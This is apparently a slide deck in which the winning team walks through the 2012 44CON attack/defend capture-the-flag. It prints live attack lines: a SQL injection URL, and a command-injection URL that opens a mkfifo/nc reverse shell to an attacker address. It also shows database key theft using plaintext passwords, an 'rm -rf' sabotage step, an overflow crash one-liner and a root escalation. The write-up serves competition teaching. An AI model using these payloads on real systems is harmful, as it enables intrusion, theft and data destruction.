Playing the 44CON CTF for fun and profit

Rundown of what it took to win the MWRLabs 44CON CTF in 2012 by the winning team 'Three Headed Monkeys'

1. Playing the 44Con CTF for fun & profit
2. Me "Three Headed Monkeys" 3hm@0xbadf00d.co.uk @impdefined
3. Me Software developer Trying not to make things worse Know a lot about bugs CTF team 0xbadf00d Contributor to io.smashthestack.org
4. CTF "It's kind of like a Computer Science exam on acid"* * CSAW CTF "About"page Solving technical security challenges to get points.
5. CTF Types Challenge-based DEF CON quals Ghost In The Shellcode CSAW CTF Attack/defend DEF CON finals 44Con CTF (this year)
6. 44CON CTF
7. 44CON CTF - What we got Virtual Machine image IP Address Scope of "attackable" machines
8. Attack & Defend Kind of like a pentest (maybe, I've never done a pentest) I have a plan: Recon Harden Write exploits Run riot Get the girl Save the world
9. Step 1 - Recon I'd rather be offline than owned Self-recon Capture traffic Quick nmap of non-player servers
10. Recon - Services
11. Recon - Services
12. Recon - Scoring Regular "scoring rounds" Score server stores new keys in services Score server checks for previous keys? Every 30 minutes Not great if you're trying to see talks!
13. pastie
14. Pastie
15. Pastie
16. Pastie Written in PHP Pastes stored in a MySQL database Recon shows keys are stored as pastes PHP+MySQL - Can you tell what the vuln is yet?
17. Pastie vuln
18. Pastie vuln C Classic SQL injection
19. Pastie fix It's not all pwnpwnpwn Not very sexy Updated to use prepared statements
20. Pastie exploit I want keys! Had a look at my own DB to figure out the query
21. Pastie exploit https://ip/view/%'+and+lang+=+'text'+order +by+date+desc+--+
22. Pastie exploit
23. Pastie exploit - scripted
24. mailserver
25. Mailserver SMTP and POP3 server Keys are stored in emails Written in Ruby I don't know Ruby ~ 500 lines
26. Mailserver - vulnerability
27. Mailserver - vulnerability ??? This just runs whatever Ruby code you give it Time to learn Ruby!
28. Mailserver - verification Looking at the logs...
29. Mailserver - exploitation I'm sure Ruby is lovely... ... but let's just find some code to copy
30. Mailserver - exploitation
31. Mailserver - exploitation
32. Mailserver - scripted exploitation
33. auth
34. Auth Running on port 23500
35. Auth
36. Auth - vulnerability Source analysis 101
37. Auth - exploitation
38. Auth - exploitation Classic stack buffer overflow Overwrite return address with value of my choice Remote code execution..... ....right?
39. Auth - exploitation Welcome to CTF rage
40. Auth - exploitation
41. Auth - exploitation Just put a valid writable address in the buffer ptr! Easy if this was a 32bit process. Our memory space is annoying.
42. Auth - exploitation gdb$ info proc map Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x403000 0x3000 0x0 /services/auth/auth 0x602000 0x603000 0x1000 0x2000 /services/auth/auth 0x603000 0x604000 0x1000 0x3000 /services/auth/auth 0x604000 0x625000 0x21000 0x0 [heap] ........ ........ ....... ... ...... 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
43. Auth - exploitation gdb$ info proc map Mapped address spaces: Start Addr End Addr Size Offset objfile 0x0000000000400000 0x0000000000403000 0x3000 0x0 /services/auth/auth 0x0000000000602000 0x0000000000603000 0x1000 0x2000 /services/auth/auth 0x0000000000603000 0x0000000000604000 0x1000 0x3000 /services/auth/auth 0x0000000000604000 0x0000000000625000 0x21000 0x0 [heap] ........ ........ ....... ... ...... 0x00007ffffffde000 0x00007ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] (read-only)
44. Auth - exploitation Time's up! No remote code execution :-( Very limited DoS Crash process Restarts automatically
45. servicemon
46. Servicemon Web page Looks like it monitors the other services Ruby again
47. Servicemon - vulnerability Command execution of "filelist" parameter
48. Servicemon - exploitation Never mind keys, I want a shell contestant@ubuntu:~$ nc -l 31337 -e /bin/sh nc: invalid option -- 'e'
49. Servicemon - exploitation rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.75 31337 >/tmp/f *cracks knuckles* http://ip:3000/hash?filelist=notafile||rm%20% 2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff% 3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh% 20-i%202>%261%7Cnc%20192.168.1.75% 2031337%20>%2Ftmp%2Ff
50. Servicemon - exploitation contestant@ubuntu:~$ nc -lv 31337 Connection from 192.168.1.72 port 31337 [tcp/*] accepted $ whoami contestant $ pwd /services/servicemon Now we can have some fun!
51. rampage
52. Steal all the keys mysql --user=sinatra --password=44ConCTF servicemon -e "select status from statuses order by created_at desc limit 1;" mysql --user=pastie --password=J@cobsClub\$ paste -e "select pastie from pastie order by date desc limit 1;" OUTPUT=redis-cli -r 1 keys \* | tail -n 1 redis-cli -r 1 lrange $OUTPUT 0 1
53. Leave a calling card echo 'Look behind you! A three-headed monkey!' > /services/pastie/.win
54. Annoy echo 'export PROMPT_COMMAND="cd"' >> ~/.bashrc echo exit >> ~/.bashrc rm -rf /services
55. escalation
56. Escalation Getting keys is fine Getting shells is better Getting root is best
57. Escalation - the hard way $ find /etc -writable /etc/init/mail.conf /etc/init/auth.conf
58. Escalation - the hard way USER PID TTY STAT COMMAND root 8680 ? Ss /services/auth/auth
59. Escalation - the hard way Next time auth respawns we will get a root shell Lame DoS to the rescue! perl -e 'print "auth " . "A"x1100 . "\n"' | nc ip 23500 Connection from 192.168.1.73 port 31337 [tcp/*] accepted # whoami root
60. Escalation - the easy way 220 Mail Service ready (33147) HELO 250 Requested mail action okay, completed EXPN respond(client, `whoami`) root
61. summary
62. Summary CTFs are fun! http://smashthestack.org - start with io http://overthewire.org http://hackthissite.org
63. questions